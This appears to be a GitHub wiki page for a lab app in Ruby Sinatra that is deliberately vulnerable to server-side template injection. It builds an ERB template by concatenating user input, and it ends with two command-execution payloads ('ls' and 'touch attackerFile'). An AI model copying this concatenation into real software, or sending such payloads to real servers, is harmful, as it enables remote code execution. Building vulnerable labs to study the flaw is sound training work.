SSTI ruby 01 - yujitounai/helloworld GitHub Wiki
require "sinatra"
require 'erb'
set :port,5081
set :bind, '0.0.0.0'
def getHTML(name)
text = '<!DOCTYPE html><html><body>
<form action="/" method="post">
First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><h2>Hello '+name+'</h2></body></html>'
template = ERB.new(text)
return template.result(binding)
end
get "/" do
name =""
if(params["name"]!= nil)
name =params['name']
end
getHTML(name)
end
post "/" do
name =""
if(params["name"]!= nil)
name =params['name']
end
getHTML(name)
end
source "http://rubygems.org"
gem "sinatra"
FROM ruby:2.3
COPY src/ /home
RUN cd /home; bundle install
<%=%x(ls )%>
<%=system( "touch attackerFile" )%>
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI/tree/master/ruby/ERB